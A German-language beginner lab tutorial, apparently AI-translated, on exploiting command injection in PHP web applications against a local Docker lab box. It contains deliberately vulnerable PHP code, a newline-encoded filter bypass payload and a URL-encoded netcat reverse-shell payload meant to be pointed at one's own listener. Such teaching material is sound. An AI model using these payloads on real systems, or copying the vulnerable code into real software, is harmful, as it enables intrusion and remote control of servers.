Verstehen und ausnutzen von Befehlseingabe-Schwachstellen in Nmap

Beginner

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab werden Sie sich mit Befehlseinschleusungs-Schwachstellen (Command Injection Vulnerabilities) befassen, die zu den häufigsten Schwachstellen in Webanwendungen gehören. Das Lab bietet eine praktische Erfahrung, um die Prinzipien von Befehlseinschleusungs-Schwachstellen und deren Ausnutzungstechniken zu verstehen. Durch zwei praktische Übungen werden Sie lernen, wie Sie Befehlseinschleusungs-Schwachstellen identifizieren und ausnutzen, wie Sie Platzhalterzeichen zur Beendigung von Befehlen verwenden und wie Sie Methoden zur Umgehung von Filtern und zur Privilegierhöhung erkunden können.


Skills Graph

Grundlagen der Befehlseinschleusungs-Schwachstellen verstehen

In diesem Schritt werden wir die Grundlagen von Befehlseinschleusungs-Schwachstellen (Command Injection Vulnerabilities) untersuchen und lernen, wie Sie diese ausnutzen können. Alles wird auf einfache und anfängerfreundliche Weise erklärt.

Was sind also Befehlseinschleusungs-Schwachstellen? Sie treten auf, wenn eine Webanwendung die Benutzereingaben nicht richtig verarbeitet und diese schließlich in Systembefehlen verwendet werden. Dies könnte es einem bösartigen Benutzer möglich machen, beliebige Befehle auf dem Server auszuführen, mit den gleichen Rechten wie die Webanwendung.

Schauen wir uns ein Stück PHP-Code an, das diese Schwachstelle aufweist:

<?php
$action = $_GET['cmd'];
echo "<pre>";
system($action);
echo "<pre/>";
?>

In diesem Code wird die system()-Funktion verwendet, um einen Befehl auszuführen, der aus dem cmd-Parameter in der URL stammt. Ein bösartiger Benutzer kann dies ausnutzen, indem er schädliche Befehle in den cmd-Parameter einfügt.

Um diese Schwachstelle erfolgreich auszunutzen, müssen Sie wissen, wie Sie den ursprünglichen Befehl abbrechen und weitere Befehle hinzufügen können. Dies geschieht mit Hilfe von Befehlstrennzeichen wie ; (Semikolon), && (logisches UND), | (Pipe) oder || (logisches ODER).

Ausnutzung von Befehlseinschleusungs-Schwachstellen

Willkommen im nächsten Abschnitt unserer Reise! Jetzt werden wir unser Wissen in die Praxis umsetzen und eine Befehlseinschleusungs-Schwachstelle (Command Injection Vulnerability) in einer Webanwendung ausnutzen.

Um zu beginnen, richten wir zunächst unsere Lab-Umgebung ein. Verwenden Sie dazu den folgenden Befehl:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' --registry-mirror='https://registry.docker-cn.com'

Schauen wir uns nun den folgenden PHP-Code an, der diese Schwachstelle aufweist:

<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
    die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>

In diesem Code wird die Benutzereingabe ($_GET['ip']) mit einem regulären Ausdruck überprüft, um sicherzustellen, dass sie im Format einer IP-Adresse vorliegt. Wenn die Eingabe gültig ist, führt die system()-Funktion den ping-Befehl aus, wobei die Benutzereingabe als Argument verwendet wird.

Aber was geschieht, wenn wir diesen Filter umgehen und unsere eigenen Befehle einfügen möchten? Hier kommt das Zeilenumbruchzeichen %0a ins Spiel. Es wird im URL-codierten Format verwendet.

Beispielsweise können Sie, wenn Sie den uname -a-Befehl ausführen möchten, die folgende URL verwenden:

http://127.0.0.1:82/vulnerable.php?ip=127.0.0.1%0auname%20-a

Das Ergebnis sieht wie folgt aus:

command injection result

Dieser geschickte Trick umgeht den IP-Adress-Filter und führt den uname -a-Befehl direkt nach dem ping-Befehl aus. Es ist ein praktisches Beispiel dafür, wie man sein Wissen nutzen kann, um Schwachstellen zu identifizieren und auszunutzen. Lassen Sie uns unsere Lernreise fortsetzen!

Privilegierhöhung und weitere Ausnutzung

Gut gemacht, dass Sie es so weit geschafft haben! Sobald Sie erfolgreich eine Befehlseinschleusungs-Schwachstelle (Command Injection Vulnerability) ausgenutzt haben, können Sie Ihr Spiel auf die nächste Stufe heben. Sie möchten vielleicht versuchen, Ihre Rechte zu erhöhen oder eine detailliertere Erkundung des Zielsystems durchzuführen.

Eine beliebte Technik ist die Erstellung einer Reverse-Shell-Verbindung. Dies gibt Ihnen eine interaktive Shell auf dem Zielsystem, und Sie können dies mit Tools wie netcat (nc) oder bash tun.

Hier ist ein Beispiel, wie Sie eine Reverse-Shell mit netcat herstellen können (muss auf dem Zielrechner installiert sein):

http://127.0.0.1:82/commandexec/example1.php?ip=127.0.0.1;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%20127.0.0.1%205555%20%3E/tmp/f

Das Ausführungsresultat des Reverse-Shell-Befehls sollte wie folgt aussehen:

reverse shell

Ersetzen Sie einfach die zweite 127.0.0.1 und die 5555 durch die IP-Adresse und die Portnummer, die Sie verwenden möchten. Es ist wie das Ausfüllen von Lücken!

Alternativ können Sie auch versuchen, sensible Dateien auf dem Zielsystem zu finden. Dies könnte Ihnen wertvolle Informationen für weitere Angriffe oder die Privilegierhöhung geben. Das ist ein bisschen wie ein Detektiv zu sein, aber in der digitalen Welt!

Denken Sie daran, Übung macht den Meister. Bleiben Sie neugierig und lernen Sie weiter, und Sie werden in kürzester Zeit ein Profi auf diesem Gebiet sein!

Zusammenfassung

In diesem Lab haben Sie sich mit Befehlseinschleusungs-Schwachstellen (Command Injection Vulnerabilities) vertraut gemacht. Diese treten auf, wenn Benutzereingaben in einer Webanwendung fehlerhaft verarbeitet und an Systembefehle weitergeleitet werden. Sie haben untersucht, wie Sie diese Schwachstellen ausnutzen können, indem Sie schädliche Befehle einfügen und den ursprünglichen Befehl mit Trennzeichen wie ;, &&, | und || beenden. Darüber hinaus haben Sie gelernt, wie Sie Filter umgehen können, beispielsweise indem Sie Zeilenumbruchzeichen codieren. Schließlich haben Sie einen Überblick über mögliche nächste Schritte erhalten, nachdem Sie eine Befehlseinschleusungs-Schwachstelle ausgenutzt haben, wie die Einrichtung einer Reverse-Shell oder die Suche nach sensiblen Dateien für weitere Angriffe oder die Privilegierhöhung.